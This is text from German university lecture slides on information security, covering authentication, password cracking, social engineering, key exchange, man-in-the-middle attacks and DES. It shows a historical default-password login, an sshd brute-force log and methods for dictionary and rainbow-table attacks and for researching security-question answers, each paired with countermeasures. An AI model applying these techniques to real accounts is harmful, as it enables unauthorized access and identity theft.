Erneutes Senden als EmpfangsbestätigungRücksendeangriff
Protokoll ist unsicher, wenn für Verschlüsselung und Signierungder gleiche Algorithmus eingesetzt wird (Vx = Ex ,Sx = Dx )!
1. Alice signiert und verschlüsselt (wie gehabt):
C = EKB(DKA(M))
2. Mallory zeichnet C auf, sendet sie (etwas später) an Bobund behauptet, C sei von ihm.
3. Bob dechiffriert die Nachricht mit seinem privatenSchlüssel und versucht anschließend, mit Mallorysöffentlichem Schlüssel die (von Alice stammende)Unterschrift zu prüfen.
EKM (DKB(EKB(DKA(M)))) = EKM (DKA(M))
48 / 108
Erneutes Senden als EmpfangsbestätigungRücksendeangriff und dessen Abwehr
4. Obwohl die Unterschrift nicht verifiziert werden kann,schickt Bob (automatisiert?) gemäß dem Protokoll eineEmpfangsbestätigung an Mallory
C2 = EKM (DKB(EKM (DKA(M))))
5. Mallory muß nun:I mit seinem privaten Schlüssel DKM entschlüsselnI mit Bobs öffentlichen Schlüssel EKB entschlüsselnI erneut mit seinem privaten Schlüssel entschlüsselnI mit Alice’ öffentlichen Schlüssel EKA entschlüsseln
. . . und schon kann er M lesen!
Lehre:
Verschiedene Schlüssel oder verschiedene Algorithmen fürSignierung und Verschlüsselung einsetzen! Nicht automatischbestätigen und signieren!
49 / 108
Authentifizierung (oder Authentifikation)
2 Rollen:I Partei, die Identität nachweisen will (Beweisender,
„Prover“)I Partei, die Identität prüfen will (Verifizierender, „Verifier“)
Unterscheidung vonI einseitiger Authentifikation (z. B. gegenüber Rechner) undI gegenseitiger Authentifikation.
Nutzung vonI charakteristischen EigenschaftenI BesitzI Wissen
50 / 108
Authentifizierung mittels PasswortNaive Implementierung
Alice
P0
P = P0 Zugang gewährt
{A,P}gespeichertesPasswort
Anmerkungen:I Passwort muss erzeugt/vergeben werdenI Identität A muss mit übermittelt werdenI Abspeicherung des Passwortes P0 im Klartext
51 / 108
Authentifizierung mittels PasswortNutzung einer kryptografischen Hashfunktion
Alice{A,P}
gespeicherterPassworthash
h(P) = h(P0) Zugang gewährt
h(P0)
Anmerkungen:I Passwort nicht mehr im Klartext abgelegt→ kann nicht
gestohlen werden!I Problem: schlechte Passworte
52 / 108
21
Mögliche Angriffe auf den Vorgang derAuthentifizierung
I Ausspähen des PasswortesI Social EngineeringI Erraten des PasswortesI WörterbuchangriffI Brute Force
53 / 108
Social Engineering
„Hallo, ich bin der freundliche Mann vomRechenzentrum. Ich möchte die Virensoftware aufIhrem Rechner aktualisieren und benötige dazu IhrNutzerkennzeichen und Passwort.“
Verwandte Themen:I „Dumpster Diving“ – Auswertung von Papierkörben,
AbfallbehälternI „Tailgating“ – einer berechtigten Person in sensitive
Bereiche folgenI „Shoulder Surfing“ – Ablesen/Abfilmen von Passworten bei
der EingabeJohnny Long: No Tech Hacking: A Guide to Social Engineering,Dumpster Diving and Shoulder Surfing. Syngress, 2008
54 / 108
Erraten des Passwortes
Ein legendärer Einbruch im Lawrence Berkeley NationalLaboratory, Kalifornien:
LBL> telnet elxsiElxsi at LBLlogin: rootpassword: rootincorrect passwort, try againlogin: guestpassword: guestincorrect passwort, try againlogin: uucppassword: uucpWELCOME TO THE ELXSI COMPUTER AT LBL
(Clifford Stoll: Kuckucksei. Fischer, 1991)I bei gut gewarteten Systemen heute nahezu aussichtslos
55 / 108
Automatisiertes Erraten des PasswortesLinux-PC, Authentifizierungs-Logfile /var/log/auth.log, Ausschnitt
Apr 5 14:44:35 idir sshd[14612]: Failed password for invalid user admin from 93.99.106.4 port 40799 ssh2
Apr 5 14:44:39 idir sshd[14620]: Failed password for root from 93.99.106.4 port 42116 ssh2
Apr 5 14:44:43 idir sshd[14630]: Failed password for root from 93.99.106.4 port 43885 ssh2
Apr 5 14:44:44 idir sshd[14640]: Invalid user test from 93.99.106.4
Apr 5 14:44:46 idir sshd[14640]: Failed password for invalid user test from 93.99.106.4 port 45676 ssh2
Apr 5 14:44:47 idir sshd[14648]: Invalid user test from 93.99.106.4
Apr 5 14:44:49 idir sshd[14648]: Failed password for invalid user test from 93.99.106.4 port 47395 ssh2
Apr 5 14:44:51 idir sshd[14656]: Invalid user webmaster from 93.99.106.4
Apr 5 14:44:53 idir sshd[14656]: Failed password for invalid user webmaster from 93.99.106.4 port 48814 ssh2
Apr 5 14:44:54 idir sshd[14666]: Invalid user user from 93.99.106.4
Apr 5 14:44:56 idir sshd[14666]: Failed password for invalid user user from 93.99.106.4 port 50581 ssh2
Apr 5 14:44:58 idir sshd[14674]: Invalid user username from 93.99.106.4
Apr 5 14:45:00 idir sshd[14674]: Failed password for invalid user username from 93.99.106.4 port 51972 ssh2
Apr 5 14:45:01 idir sshd[14684]: Invalid user username from 93.99.106.4
Apr 5 14:45:03 idir sshd[14684]: Failed password for invalid user username from 93.99.106.4 port 53530 ssh2
Apr 5 14:45:05 idir sshd[14692]: Invalid user user from 93.99.106.4
Apr 5 14:45:07 idir sshd[14692]: Failed password for invalid user user from 93.99.106.4 port 55065 ssh2
Apr 5 14:45:10 idir sshd[14702]: Failed password for root from 93.99.106.4 port 56829 ssh2
Apr 5 14:45:11 idir sshd[14710]: Invalid user admin from 93.99.106.4
Apr 5 14:45:13 idir sshd[14710]: Failed password for invalid user admin from 93.99.106.4 port 60192 ssh2
Apr 5 14:45:15 idir sshd[14718]: Invalid user test from 93.99.106.4
Apr 5 14:45:17 idir sshd[14718]: Failed password for invalid user test from 93.99.106.4 port 33440 ssh2
Apr 5 14:45:21 idir sshd[14728]: Failed password for root from 93.99.106.4 port 35208 ssh2
Apr 5 14:45:24 idir sshd[14736]: Failed password for root from 93.99.106.4 port 36679 ssh2
Apr 5 14:45:27 idir sshd[14746]: Failed password for root from 93.99.106.4 port 38334 ssh2
Apr 5 14:45:31 idir sshd[14754]: Failed password for root from 93.99.106.4 port 39667 ssh2
Apr 5 14:45:32 idir sshd[14762]: Invalid user danny from 93.99.106.4
Apr 5 14:45:34 idir sshd[14762]: Failed password for invalid user danny from 93.99.106.4 port 41516 ssh2
Apr 5 14:45:35 idir sshd[14770]: Invalid user sharon from 93.99.106.4
Apr 5 14:45:37 idir sshd[14770]: Failed password for invalid user sharon from 93.99.106.4 port 42957 ssh2
Apr 5 14:45:39 idir sshd[14780]: Invalid user aron from 93.99.106.4
56 / 108
Wörterbuchangriff (Dictionary Attack)
Idee:I Offline-Generierung einer Liste aus Einträgen mit
I potentielles PasswortI potentielles Passwort, verschlüsselt
I alle möglichen Worte, Namen, Bezeichner usw. mittels derEinwegfunktion des Betriebssystems verschlüsseln
I Diebstahl der PasswortdateiI Vergleich der verschlüsselten Wortliste mit den Hashes
aus der PasswortdateiI Bei Übereinstimmung ist das unverschlüsselte Passwort
der entsprechende Eintrag aus der Wortliste→Werkzeug john (Praktikum)
57 / 108
Erschwerung des Wörterbuchangriffes mittels Salz
I Passwort wird vor Verschlüsselung mit einer Zufallszahlkonkateniert (dem Salz)
I Salz wird mit in der (geheimen) Passwortdatei gespeichertI bei genügend großer Anzahl möglicher Hash-Werte wird
ein Wörterbuchangriff unmöglichI Mallory müßte zu jedem Wort alle möglichen Salz-Werte
durchprobierenI erschwert nur Wörterbuchangriff, kein Brute-Force-Attack
Beispiel: crypt() im POSIX
58 / 108
22
Weitere Gegenmaßnahmen gegen Wörterbuchangriff
I möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) inder Eingabemaske
I möglichst kein Hinweis, ob NKZ gültigI Verzögerung nach jedem erfolglosen AnmeldeversuchI periodisches Erneuern der Passworte:
+ gecrackte PW werden automatisch ausgetauscht− Nutzer müssen periodisch neue PW lernen
59 / 108
Anforderungen an gute Passworte
I möglichst langI gesamten Zeichenvorrat nutzen (sonst resultiert eine
signifikante Verkleinerung des Schlüsselraums→Brute-Force-Angriff vereinfacht)
I keine Namen, Worte (auch nicht rückwärts)I regelmäßig wechselnI computergenerierte Passworte: geringe Akzeptanz
(werden aufgeschrieben)→ Standard FIPS PUB 181(http://www.itl.nist.gov/fipspubs/fip181.htm)
I proaktive PW-Checker prüfen gewähltes PW aufMindestanforderungen
60 / 108
Suchdauer vs. Größe des Schlüsselraums
Werte 4 Byte 5 Byte 6 Byte 7 Byte 8 Byte
Kleinbuchstaben 26 456976 1.1 · 107 3.1 · 108 8.0 · 109 2.1 · 1011
Kleinbuchst.+Ziffern 36 1679616 6.0 · 107 2.1 · 109 7.8 · 1010 2.8 · 1012
alphanum. Zeichen 62 1.5 · 106 9.2 · 108 5.7 · 1010 3.6 · 1012 2.1 · 1014
druckbare Zeichen 95 8.1 · 107 7.7 · 109 7.4 · 1011 6.9 · 1013 6.6 · 1015
ASCII-Zeichen 128 2.7 · 108 3.4 · 1010 4.4 · 1012 5.6 · 1014 7.2 · 1016
8-Bit-Zeichen 256 4.3 · 109 1.1 · 1012 2.8 · 1014 7.2 · 1016 1.8 · 1019
I zugrundegelegt sei eine Geschwindigkeit8 von 200 GH·s−1
(MD5, mittels hashcat)
I Rechner: Sagitta Brutalis, 8xNvidia GTX 1080 GPU, ca. $21.169(Q1/2018)
I benötigt knapp 6 Minuten, um 7 Byte langes PW ausalphanumerischen Zeichen zu ermitteln, jedoch 48.5 Tage, wennPW 10 Zeichen umfasst
I vgl. xkcd-Comic: https://xkcd.com/936/
8Quelle: https://gist.github.com/epixoip/a83d38f412b4737e99bbef804a270c4061 / 108
Professionelle Knack-Hardware
a) „Deep Crack“I 1998, 250.000 US-$, EFF9
I 1536 KryptoprozessorenI 88 Milliarden DES-Schlüssel pro Sekunde
b) COPACOBANAI 2006, 10.000 US-$, Unis Bochum und KielI 120 XILINX Spartan3-1000 FPGAI 65 Milliarden DES-Schlüssel pro Sekunde
c) distributed.netI verteiltes Rechnen; Nutzbarmachung von idle-Time auf
Internet-Hosts
d) es ist davon auszugehen, dass Geheimdiensten weitteurere Systeme zur Verfügung stehen
9Electronic Frontier Foundation, eine Nichtregierungsorganisation der Vereinigten Staaten62 / 108
RegenbogentabellenMotivation
Brute-Force-Angriff auf ein Passwort:I sehr viel Rechenzeit, kaum Speicher
WörterbuchangriffI sehr viel Speicherplatz, kaum Rechenzeit
Idee: kompaktere Datenstruktur als Wörterbuch, dafürgrößerer, aber vertretbarer Suchaufwand(„Time-Memory-Tradeoff“)
Voraussetzungen:I Hashfunktion H (bildet Passworte auf Hashes ab)I Reduktionsfunktion R, bildet Hashes auf (potentielle)
Passworte ab (keine Inverse von H!)Beispiel für R für ZK der Länge n Bit:ZK = (Bit 63. . . 0 des Hashes + Position in Tabelle) mod 2n
63 / 108
RegenbogentabellenErmittlung
I beginnend mit einem Element des Schlüsselraums (potentiellesPasswort) Nacheinanderausführung von H und R
I es entstehen Ketten von Passworten und Hashes (ca. 10.000Elemente lang)
I nur das erste und letzte Passwort jeder Kette wird gespeichert;diese bilden die Regenbogentabelle
I es werden so viele Ketten gebildet, bis 99.9% aller möglichenPassworte erfasst sind
I Tabelle wird nach den jeweils letzten Passworten sortiert
64 / 108
23
Regenbogentabellen
armel 0xbf1ffd. . . bmgfs 0x21cd0e. . . ybtos 0xa8a258. . . lfslf
xqjkx 0x365023. . . xphkp 0x432045. . . jbprb 0xa31303. . . imest
wurtl 0xadb661. . . dvniw 0xfdb21b. . . jglkw 0x072195. . . qkmbr
H R H R H R
H R H R H R
H R H R H R
65 / 108
RegenbogentabellenKnacken eines Hashes (Finden des zugehörigen Passwortes)
1. Hash wird alternierend der Reduktions- und derHashfunktion unterworfen, bis er ein Passwort generiert,das in der zweiten Spalte der Regenbogentabellevorkommt.
2. Dann wird die zugehörige Anfangszeichenkette reduziertund gehasht, bis der Eingangshash wieder erzeugt wurde.
3. Das Resultat der vorgangegangenen Reduktionsfunktionist das gesuchte Passwort.
66 / 108
bcrypt
Problem: Zur Authentifizierung genutzte Hashingverfahren(MD5, Blowfish, SHA) wurden entwickelt, um effizientberechnet zu werden.→ gut für Brute-Force-Angriff!
Idee: spezielles Hashverfahren, das besonders langsamarbeitet, um Brute-Force-Angriff zu verlangsamen.
Lösung:I bcrypt10
I 128 Bit SalzI konfigurierbare Iterationsanzahl (→
Berechnungsgeschwindigkeit adaptierbar)
10Niels Provos und David Mazières. “A Future-Adaptable Password Scheme”. In: Proceedings of the 1999USENIX Annual Technical Conference, FREENIX Track. 1999, S. 81–91.
67 / 108
Exkurs: “Forgot your Password?”
I viele (webbasierte) Dienste erfordern Authentifizierung(Webmail, . . . )
I im Falle eines verlorenen Passwortes wird eine‘persönliche’ Frage vereinbart, deren korrekteBeantwortung das Passwort zurücksetzt oder demEigentümer per Mail zustellt
I Beispiele:I “What is your mother’s maiden name?”I “What is your dog’s name?”
I Diese Informationen sind insbesondere bei Prominentenbzw. Netizens leicht recherchierbar!
Literatur: Herbert H. Thompson: How I Stole Someone’sIdentity. Scientific American, August, 2008http://www.sciam.com/article.cfm?id=anatomy-of-a-social-hack
68 / 108
Exkurs: “Forgot your Password?”Beispiel: Sarah Palin
I Yahoo-Account von Vizepräsidentschaftskandidatin SarahPalin
I Passwort wurde durch Unbekannte zurückgesetzt(09/2008)
I ‘Sicherheits’fragen:I ZIP codeI date of birthI “Where did you meet your husband?”→ auf der Webseite
steht, dass sie ihren Mann seit Highschool-Zeiten kenntund welche Highschool sie besuchte
I Recherche dauerte ca. 45 Minuten
Quelle: http://www.itworld.com/security/55185/sarah-palin-goes-way-paris-hilton
69 / 108
Rätsel
Welche der folgenden Fragen taugen nicht für das Rücksetzeneines Passwortes? Können sie die folgenden Fragen für einefremde Person (z. B. mich) mit wenig Aufwand recherchieren?Welche Ansätze für Recherchen gibt es?
1. What is my mother’s maiden name?2. What was the brand of my first car?3. What is the name of my best friend?4. In which city did I grow up?5. What was the lastname of my kindergarden teacher?6. What is my favourite movie?7. What is my dog’s name?
70 / 108
24
Challenge-Response-Verfahrenoder: „Wer über die Brücke des Todes will gehen, der muß drei mal Rede und Antwort stehen. Dann darf er die andere Seitesehen.“
= Authentifizierung auf der Basis gemeinsamen Wissens1. Server stellt eine Aufgabe (Challenge))2. Nutzer (bzw. ein Stellvertreterprozeß) löst die Aufgabe
(antwortet; Response)3. Lösung korrekt→ Login erlaubt
Beispiel: Kopierschutz in alten Computerspielen.I Zu Beginn Frage, etwa: “Was steht im Handbuch auf
S.412, dritte Zeile, 2. Wort?”I richtiger Begriff→ Spiel startetI falscher Begriff→ Abbruch
71 / 108
Challenge-Response zur Authentifizierung
Ablauf:1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen2. Bob sendet eine Zufallszahl („Nonce“ - (random) number,
used once) an Alice ≡ Challenge3. Alice verschlüsselt die Nonce mit dem Hash ihres
Passworts und schickt das Chiffrat an Bob ≡ Response4. Bob verschlüsselt die Nonce ebenfalls mit Alice’
Passwort-Hash5. ist das Chiffrat gleich der Antwort von Alice, so wird
Zugang gewährt
72 / 108
Beispiel: Authentifizierung in Windows
I Authentifizierungsprotokoll NTLM - NT Lan Manager
I Nachfolger des (unsicheren) LM-Authentifizierungsverfahrens
I ursprünglich proprietär, daher reverse-engineered
I mittlerweile durch Microsoft offengelegt
Grobablauf:
1. Client (Nutzer) schickt das NKZ mittels sog. Type-1-Nachricht anden Server
2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine8 Byte lange Nonce enthält
3. Client verschlüsselt die Nonce mit dem Hash seines Passwortesals Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server
4. Server verschlüsselt ebenfalls Nonce mit Passworthash undgewährt bei Identität beider Chiffrate Zugang zum System
Literatur: http://davenport.sourceforge.net/ntlm.html73 / 108
Sicherheit von NTLM
Stellen Zeichenraum Dauer6 A-Za-z0-9 1 min6 A-Za-z0-9, 22 SZ 6 min8 A-Za-z0-9 2 d, 17 h8 A-Za-z0-9, 22 SZ 33 d8 A-Za-z0-9, alle SZ 82 d
11 A-Za-z 270 a
Tabelle: Maximale Dauer der Ermittlung von NTLM-Passwortenmittels „Distributed Password Recovery“ (ElcomSoft)
I 22 SZ = typische Sonderzeichen, d.h._@#$&+-=%*"~!?.,:;()<>
I genutztes System: AMD Athlon X2 4850e, 2 NvidiaGeForce 9800 GTX
Quelle: Stefan Arbeiter, Matthias Deeg: Bunte Rechenknechte.In: c’t 06/2009, S. 205
74 / 108
Authentifizierung mit physischen Objekten
I SchlüsselI Chipkarten
I passiv – “Stored Value Cards”, z.B. TelefonkartenI aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch
RAM, ROM, EEPROM
Sm
art
Card
1. Challenge an Smart Card
2. Smart Card errechnet Antwort
3. Response an Server
ServerPC
Abbildung: Nutzung einer Smartcard zur Authentifizierung
75 / 108
Smartcards
I Smartcards können aktualisiert werden, z.B. bei Bruch desverwendeten Kryptografie-Verfahrens
I Problem: Verlust, DiebstahlI Power Analysis Attack, um Key zu ermittelnI Diebstahl eröffnet neue Angriffsvektoren; Tamper
Resistance nötig
76 / 108
25
Authentifizierung mittels biometrischer Merkmale
Idee: Erkennung/Authentikation einer Person anhandindividueller physischer Merkmale.
I Gesichtsmerkmale (z. B. bei direkterMensch-Mensch-Authentikation)
I Fingerabdrücke (wahrscheinlich einzigartig innerhalb dergesamten Bevölkerung)
I Geometrie der Hand (Form, Länge, Dicke der Finger)I Blutgefäße der Retina (ebenfalls einzigartig)I UnterschriftI Sprache
Probleme: False-Match, False-Nonmatch
77 / 108
Authentifizierung mit Public-Key-Kryptografie
Alternative: Public-Key-Kryptografie
1. Host sendet Alice einen Zufallsstring Z2. Alice chiffriert Z mit ihrem privaten Schlüssel und schickt
das Chiffrat mit ihrem Namen an den Host3. Host ruft Alice’ öffentlichen Schlüssel aus seiner
Datenbank und dechiffriert Nachricht4. Stimmt Dechiffrat mit ursprünglichen String Z überein, so
erhält Alice Zugang zum System
78 / 108
Protokolle zum SchlüsselaustauschÜberblick
I Austausch mittels symmetrischer KryptografieI Austausch mittels Public-Key-KryptografieI Beispiel: Diffie-Hellman-Protokoll
79 / 108
Schlüsselaustausch mit symmetrischer Kryptografie
Voraussetzungen: Vertrauenswürdige Instanz (Key DistributionCenter - KDC, aka Trent), sowohl Alice als auch Bob besitzenSchlüssel zur Kommunikation mit Trent
Protokoll:I Alice bittet Trent um Generierung eines Sitzungsschlüssels
zur Kommunikation mit BobI Trent generiert zufälligen Sitzungsschlüssel, generiert 2
Kopien, verschlüsselt eine mit Alice’ und eine mit BobsSchlüssel
I Trent schickt beide (verschlüsselte) Kopien an AliceI Alice dechiffriert ihre Kopie des SitzungsschlüsselsI Alice schickt Bob dessen (verschlüsselte) KopieI Bob dechiffriert seine Kopie des SitzungsschlüsselsI Alice und Bob kommunizieren mittels des
Sitzungsschlüssels80 / 108
Schlüsselaustausch mittels Public-Key-Kryptografie
. . . wie bereits unter „hybride Kryptosysteme“ diskutiert:
1. Alice bezieht Bobs öffentlichen Schlüssel aus dem KDC2. Alice generiert einen zufälligen Sitzungsschlüssel und
verschlüsselt diesen mit Bobs öffentlichem Schlüssel3. Alice sendet das Chiffrat an Bob4. Bob dechiffriert die empfangene Nachricht mit seinem
privaten Schlüssel5. Beide kommunizieren mit Hilfe des Sitzungsschlüssels
81 / 108
Man-in-the-Middle-AttackAblauf
1. Alice sendet Bob ihren öffentlichen Schlüssel2. Mallory fängt diesen Schlüssel ab und schickt stattdessen
seinen eigenen öffentlichen Schlüssel an Bob3. Bob sendet seinen öffentlichen Schlüssel an Alice4. Mallory fängt auch diesen ab und schickt stattdessen
seinen öffentlichen Schlüssel an Alice5. Sendet Alice eine mit Bobs11 öffentlichem Schlüssel
verschlüsselte Nachricht an Bob, fängt Mallory diese abundI entschlüsselt sie mit seinem privaten Schlüssel,I liest sie,I chiffriert sie mit Bobs öffentlichem Schlüssel undI schickt sie weiter an Bob.
I Analog geht Mallory in der Rückrichtung (Bob→ Alice) vorI Weder Alice noch Bob können diesen Angriff entdecken
11d. h. , Mallorys82 / 108
26
Das Interlock-Protokoll (Rivest/Shamir, 1984). . . erschwert oder vereitelt den Man-in-the-Middle-Attack
1. Alice sendet Bob ihren öffentlichen Schlüssel KA.2. Bob sendet Alice seinen öffentlichen Schlüssel KB.3. Alice chiffriert ihre Nachricht M1 mit KB und schickt die
Hälfte der verschlüsselten Nachricht an Bob.4. Bob chiffriert seine Nachricht M2 mit KA und schickt die
Hälfte der verschlüsselten Nachricht an Alice.5. Alice schickt die zweite Hälfte an Bob.6. Bob fügt beide Hälften zusammen und dechiffriert. Danach
schickt er Alice seine zweite Hälfte.7. Alice setzt Bobs zweite Nachricht zusammen und
dechriffriert.
83 / 108
Analyse des Interlock-Protokolls
I Mallory kann nicht dechiffrieren, weil er nur eine halbeNachricht hat
I er muss aber mit seinem privaten Schlüssel dechiffrieren,um anschließend mit Bobs öffentlichem Schlüssel zuchiffrieren
I er muss eine andere Nachricht erfinden, und die Hälftedavon an Bob schicken (und zurück an Alice)
Wenn Alice und Bob ihre Nachrichten vorher absprechen12,können sie mit dem Interlock-Protokoll die Authentizität ihrerjeweiligen öffentlichen Schlüssel prüfen und Mallory entlarven.
12Dafür ist aber ein sicherer Kanal notwendig.84 / 108
Schlüsselaustausch mit digitaler Signatur
Idee:I Trent signiert die öffentlichen Schlüssel von Bob und AliceI Beim Schlüsselerhalt prüfen Alice und Bob Trents SignaturI → Mallory kann nicht mehr in deren jeweilige Rolle
schlüpfen!
85 / 108
Schlüsselaustausch mittels Diffie-Hellman-Protokoll
1. Bob und Alice einigen sich auf eine große Primzahl n undeine Zahl g.
2. Alice wählt eine (große) zufällige Zahl x (Alice’ geheimerSchlüssel) und berechnet X = gx mod n (Alice’ öffentlicherSchlüssel).
3. Alice sendet X an Bob.4. Bob wählt eine (große) zufällige Zahl y (Bobs geheimer
Schlüssel) und berechnet Y = gy mod n (Bobs öffentlicherSchlüssel).
5. Bob sendet Y an Alice.6. Alice berechnet
k = Y x mod n = (gy mod n)x mod n = gxy mod n, dengeheimen Sitzungsschlüssel.
7. Bob berechnetk = X y mod n = (gx mod n)y mod n = gxy mod n.
86 / 108
Anmerkungen zum Diffie-Hellman-Protokoll
I g muss primitiv modulo n sein, d.h. es muss stets ein ageben, so dass ga ≡ b mod n ∀ 1 ≤ b < n.
I Eve kann X und Y abfangen, es nützt ihr aber nichts, siekann gxy mod n nicht aus gx mod n und gy mod nberechnen.
Beispiel:
Alice Bobg = 4, n = 11x = 3 y = 4
X = 43 mod 11 = 9 Y = 44 mod 11 = 3X = 9→ B A← Y = 3
k = Y x mod n k = X y mod n= 33 mod 11 = 5 = 94 mod 11 = 5
87 / 108
Vorlesung InformationssicherheitThema 4: Algorithmen der Kryptographie
Robert Baumgartl
18. Juli 2018
1 / 126
27
Überblick
I Data Encryption Standard (DES)I Triple DESI Advanced Encryption Standard (AES)I RSAI DSAI Zero-Knowledge
2 / 126
Symmetrische Verschlüsselung mittels DataEncryption Standard (DES)
I Ergebnis eines durch das National Bureau of Standardsausgeschriebenen Wettbewerbs
I von IBM im Jahre 1974 erstmalig beschriebenI Prüfung/Mitentwicklung durch NSAI Standard ANSI X3.92, 1981I Prüfung alle 5 Jahre, ob Standard noch den Erfordernissen
eines Kryptosystems entspricht (→ 1987, 1993re-zertifiziert)
I Schlüssellänge: 56 BitI blockbasiertes Verfahren: 64 Bit Klartext⇒ 64 Bit ChiffratI erstes erfolgreiches Verschlüsselungsverfahren für
Rechnereinsatz; Grundlage für alle modernen Verfahren
(Literatur: Reinhard Wobst: Abenteuer Kryptologie. Addison-Wesley, S. 126ff.)
3 / 126
DESÜberblick
K2
L2 = R1 R2 = L1 ⊕ f (R1,K2)
usw.
L0 R0
K1
R1 = L0 ⊕ f (R0,K1)L1 = R0
L15 = R14 R15 = L14 ⊕ f (R14,K15)
K16
00 3131
permutationAusgangs-
L16 = R15R16 = L15 ⊕ f (R15,K16)
Klartext063
Eingangs-permutation
063
Chiffrat
f
f
f
Komponenten:I Eingangspermutation (IP)I Zerlegung in rechte (R)
und linke (L) HälfteI 16 identische Runden, die
Daten mit Schlüsselkombinieren (Funktion f )
I Zusammenfügen von Rund L
I Schlusspermutation (IP−1)
4 / 126
DESEingangspermutation
58 50 42 34 26 18 10 2 60 52 44 36 28 20 12 462 54 46 38 30 22 14 6 64 56 48 40 32 24 16 857 49 41 33 25 17 9 1 59 51 43 35 27 19 11 361 53 45 37 29 21 13 5 63 55 47 39 31 23 15 7
Tabelle: Eingangspermutation
Lies: „Bit 58 des Klartextes wird auf Bit 1 der Permutationabgebildet, Bit 50 des Klartextes auf Bit 2 der Permutation usw.“
5 / 126
DESAnmerkungen zum Algorithmus
I Schlüssel ist eigentlich auch 64bittig, 8 Bit dienen jedochder Paritätsprüfung (jedes Byte muss ungerade Paritäthaben)
I für jede der 16 Runden wird aus dem 56-Bit-Schlüssel Kein Subschlüssel Ki mit 48 Bit Länge generiert
I Struktur des DES-Algorithmus ist ziemlich regulär; eine sogenannte Feistel-Chiffre (→ nächste Folie)
I Entschlüsselung in umgekehrter Reihenfolge der 16Runden
I sehr leicht in Hardware zu synthetisieren (keineAdditionen/Multiplikationen, nur Verschiebungen,Permutationen und XOR)
6 / 126
DESFeistel-Chiffre
f
Li Ri
Li+1 Ri+1
XORRunden-schlüssel
Ausgangsdatenblock Runde i
Eingangsdatenblock Runde i
Ki+1
fi(Ri ,Ki+1)
I Funktionsblock vieler symmetrischer Verfahren
Verschlüsselung:
Li+1 = Ri
Ri+1 = Li ⊕ f (Ri , Ki+1)
Entschlüsselung daraus ableitbar:
Ri = Li+1
Li = Li ⊕ f (Ri , Ki+1)︸ ︷︷ ︸⊕f (Ri , Ki+1)
= Ri+1 ⊕ f (Ri , Ki+1)
I keine Umkehrfunktion f−1(R, K ) nötig
I Ver- und Entschlüsselung mit gleicher Funktionf (R, K )
7 / 126
28
Struktur einer Runde (f (Ri−1,Ki))
P
8·6 Bit
6 Bit
4 Bit
S1 S2 S3 S4 S5 S6 S7 S8
8·4 Bit
48 Bit
32 Bit
32 Bit
S-Boxen
E
32 Bit
KiRi−1
48 Bit
Permutation
Substitution
Expansion
48 Bit
8 / 126
S-Boxen (Substitution Boxen)
I zentraler Bestandteil jedes symmetrischenKrypografie-Verfahrens
I nichtlineare Substitution; m Eingangs- werden auf nAusgangsbits abgebildet
I S-Boxen in DES sind „mythenumrankt“, da Prinzipien ihresEntwurfs nicht offengelegt wurden
Mittlere 4 Bits (b1 . . . b5) des Eingabewertesb0 b6 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 11110 0 0010 1100 0100 0001 0111 1010 1011 0110 1000 0101 0011 1111 1101 0000 1110 10010 1 1110 1011 0010 1100 0100 0111 1101 0001 0101 0000 1111 1100 0011 1001 1000 01101 0 0100 0010 0001 1011 1100 1101 0111 1000 1111 1001 1100 0101 0110 0011 0000 11101 1 1011 1000 1100 0111 0001 1110 0010 1101 0110 1111 0000 1001 1100 0100 0101 0011
Tabelle: Beispiel: S-Box 5 für DES (es gibt 8 verschiedene)
9 / 126
Zur Sicherheit von DES
I bislang kein kryptanalytischer Angriff publiziertI (unbewiesener) Verdacht, NSA könnte eine Hintertür
eingebaut haben
Hauptmanko: Schlüssellänge von 56 Bit ist zu kurzI →Wettbewerb DES Challenge („Wer schafft es als erster,
zu einem vorgegebenen DES-Schlüssel die zugehörigePassphrase per Brute-Force-Angriff zu ermitteln?“)
I DES Challenge, 1997: t = 96d benötigtI DES Challenge II-1, 1998: t = 48d (distributed.net)I DES Challenge II-2, 1998: t = 56h mittels Deep Crack,
einem parallelen Spezialsystem, 250.000$I DES Challenge III, 1999: t = 22h15min
10 / 126
Betriebsmodi blockbasierter symmetrischer Verfahren
Was tun, wenn Länge des Klartextes 6= Blocklänge desVerfahrens?
→ Betriebsmodi („Modes of Operation“) blockbasiertersymmetrischer Verschlüsselungsverfahren
I Electronic Codebook Mode (ECB)I Cipher Block Chaining (CBC)I Cipher Feedback Mode (CFB)I Output Feedback Mode (OFB)I Counter Mode (CTR)I . . .
11 / 126
Electronic Codebook Modus (ECB)Prinzip
I Klartext wird in Blöcke der Länge b (Blocklänge desVerschlüsselungsverfahrens; z. B. 128 Bit bei AES)unterteilt, letzter Block wird auf Länge b aufgefüllt(Padding)
I Verschlüsselungsfunktion E mit Schlüssel K wirdblockweise auf die Klartextblöcke Pi angewandt; esentstehen (gleich große) Chiffratblöcke Ci :
Ci = EK (Pi)
I Entschlüsselungsfunktion D mit Schlüssel K wirdblockweise auf die Chiffratblöcke Ci angewandt; esentstehen (gleich große) Klartextblöcke Pi :
Pi = DK (Ci)
I Blöcke sind voneinander unabhängig12 / 126
Electronic Codebook Modus (ECB)Prinzip, grafisch
Pi+1PiPi−1
Ci−1 Ci Ci+1
EK
KEK
KEK
K
Verschlüsselung per ECB
Pi−1
Ci−1 Ci Ci+1
Pi Pi+1
DK
KDK
KDK
K
Entschlüsselung per ECB
13 / 126
29
Angriff auf ECB mittels Block ReplayECB-verschlüsselter Datenaustausch mit Bank
1 2 3 4 5 6 7 8 9 10 11 12 13
Kontoinhaber Konto-Nr. BetragZeit-stempel bank
Absender- Empfänger-bank
Blocknummern
Abbildung: Beispiel für Format eines Datensatzes
I Mallory zeichnet Datenverkehr zwischen Bank A und BankB auf
I Mallory überweist zweimal einen festen Betrag von A nachB (bis auf Zeitstempel identische Nachrichten)
I bei allen abgehörten Nachrichten tauscht er die Felder5-12 mit den Daten aus seinen Überweisungen aus
Grundproblem: ECB erlaubt das Austauschen einzelnerBlöcke→ Blöcke dürfen nicht unabhängig voneinander sein→CBC
14 / 126
Electronic Codebook Modus (ECB)Eigenschaften
I 1:1-Abbildung Klartextblock→ ChiffratblockI fehlertolerant: Bitfehler im Chiffrat verfälscht nur einen
Klartextblock, keine FehlerfortpflanzungI Blockoperationen parallelisierbar
